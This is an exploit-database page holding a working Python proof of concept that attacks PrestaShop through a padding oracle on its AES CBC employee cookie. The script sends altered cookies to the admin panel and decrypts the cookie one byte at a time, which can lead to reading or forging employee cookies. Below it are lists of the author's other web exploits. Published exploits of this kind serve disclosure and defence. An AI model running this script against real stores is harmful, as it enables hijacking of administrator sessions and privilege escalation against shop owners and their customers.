Menu

Search for hundreds of thousands of exploits

"PrestaShop < 1.6.1.19 - 'AES CBC' Privilege Escalation"

Author

Exploit author

"Charles Fol"

Platform

Exploit platform

php

Release date

Exploit published date

2018-07-16

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 AES (Rijndael) / openssl_encrypt() Cookie Read
# Charles Fol
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
# This POC will reveal the content of an employee's cookie.
# By modifying it one can read/write any PrestaShop cookie.
# It is a simple padding oracle implementation.
#


import requests
import urllib.parse
import base64

s = requests.Session()
"""
s.proxies = {
    'http': 'localhost:8080',
    'https': 'localhost:8080',
}
#"""

# Login as an employee, get your cookie and paste it here along with the URL
URL = "http://vmweb5/prestashop/admin177chuncw/"
cookie = "PrestaShop-b0ebb4f17b3e451202e5b044e29ed75d=20NxjuYuGVhSt8n0M54Av9Qkpyzl9axkK%2BGgLLCcv0MLQZhLAEV8lnq6U2Ew2n5aMUOYqkrkpqjputuLiBEqqW7pIce8cUv%2F3SEFp3tPnWfCgJgXKUsR1htOQ4KAoXyYLhoc31kVgcm39OhQh5Zg3A78HnO1On2udHwN8dTRdI86kewEFZPNtmMeBF7sAr9zezevsjK1VU4BI84EVXCYQuuhnVehoqfAa9XoZC%2FD3FEmDSuspZw2AUB0S7Py6ks6eEeCVDWieBKDsHD13UK%2FzgM%2F65m5rpU1P4BSQSHN2Qs%3D000208"

# Parse blocks and size
cookie_name, cookie_value = cookie.split("=")
cookie_value = urllib.parse.unquote(cookie_value)
cookie_size = cookie_value[-6:]
cookie_value = cookie_value[:-6]
cookie_value = base64.b64decode(cookie_value)

BLOCK_SIZE = 16

def test_padding(data):
    """Returns true if the padding is correct, false otherwise.
    One can easily adapt it for customer cookies using:
    index.php?controller=identity
    """
    data = base64.b64encode(data).decode()
    data = urllib.parse.quote(data)
    data = data + cookie_size
    s.cookies[cookie_name] = data
    r = s.get(URL, allow_redirects=False)
    s.cookies.clear()
    return 'AdminLogin' not in r.headers.get('Location', '')

def e(msg):
    print(msg)
    exit(1)

if not test_padding(cookie_value):
    e("Invalid cookie (1)")
elif test_padding(b"~~~~~"):
    e("Invalid cookie (2)")

# Perform the padding oracle attack

result = b''

for b in range(1, len(cookie_value) // BLOCK_SIZE + 1):
    obtained = []
    current_block   = cookie_value[(b    ) * BLOCK_SIZE:][:BLOCK_SIZE]
    precedent_block = cookie_value[(b - 1) * BLOCK_SIZE:][:BLOCK_SIZE]

    for p in range(BLOCK_SIZE):
        nb_obtained = len(obtained)

        for i in range(256):
            pad = nb_obtained + 1
            
            prelude = (
                b"\x00" * (BLOCK_SIZE - pad) +
                bytes([i]) +
                bytes([o ^ pad for o in obtained][::-1])
            )
            data = cookie_value + prelude + current_block

            if test_padding(data):
                print("Got byte #%d of block #%d: %d" % (p, b, i))
                obtained.append(i ^ pad)
                break
        else:
            e("Unable to decode position %d" % p)

    # Compute the contents of the plaintext block

    result += bytes([o ^ p for p, o in zip(precedent_block, obtained[::-1])])
    try:
        print("COOKIE: %s" % result.decode())
    except UnicodeDecodeError:
        print("COOKIE: Unable to decode, wait for next block")
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-02-23 "Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution" webapps php "Charles Fol"
2018-07-16 "PrestaShop < 1.6.1.19 - 'BlowFish ECD' Privilege Escalation" webapps php "Charles Fol"
2018-07-16 "PrestaShop < 1.6.1.19 - 'AES CBC' Privilege Escalation" webapps php "Charles Fol"
2017-05-17 "Oracle PeopleSoft Enterprise PeopleTools < 8.55 - Remote Code Execution Via Blind XML External Entity" webapps java "Charles Fol"
2017-04-27 "TYPO3 Extension News - SQL Injection" webapps php "Charles Fol"
2017-03-09 "Drupal 7.x Module Services - Remote Code Execution" webapps php "Charles Fol"
2017-02-21 "Grails PDF Plugin 0.6 - XML External Entity Injection" webapps java "Charles Fol"
2017-01-20 "Joomla! < 3.6.4 - Admin Takeover" webapps php "Charles Fol"
2017-01-20 "Joomla! < 2.5.2 - Admin Creation" webapps php "Charles Fol"
2008-11-04 "Simple Machines Forum (SMF) 1.1.6 - Code Execution" webapps php "Charles Fol"
2008-10-14 "Nuked-klaN 1.7.7 / SP4.4 - Multiple Vulnerabilities" webapps php "Charles Fol"
2008-07-13 "Fuzzylime CMS 3.01 - 'commrss.php' Remote Code Execution" webapps php "Charles Fol"
2008-07-01 "PHP-Nuke Platinium 7.6.b.5 - Remote Code Execution" webapps php "Charles Fol"
2008-04-08 "phpTournois G4 - Arbitrary File Upload / Code Execution" webapps php "Charles Fol"
2008-04-01 "Nuked-klaN 1.7.6 - Multiple Vulnerabilities" webapps php "Charles Fol"
2008-03-19 "PEEL CMS 3.x - Admin Hash Extraction / Arbitrary File Upload" webapps php "Charles Fol"
2008-03-10 "phpMyNewsletter 0.8b5 - 'msg_id' SQL Injection" webapps php "Charles Fol"
2008-03-07 "zKup CMS 2.0 < 2.3 - Arbitrary File Upload" webapps php "Charles Fol"
2008-03-07 "zKup CMS 2.0 < 2.3 - Remote Add Admin" webapps php "Charles Fol"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.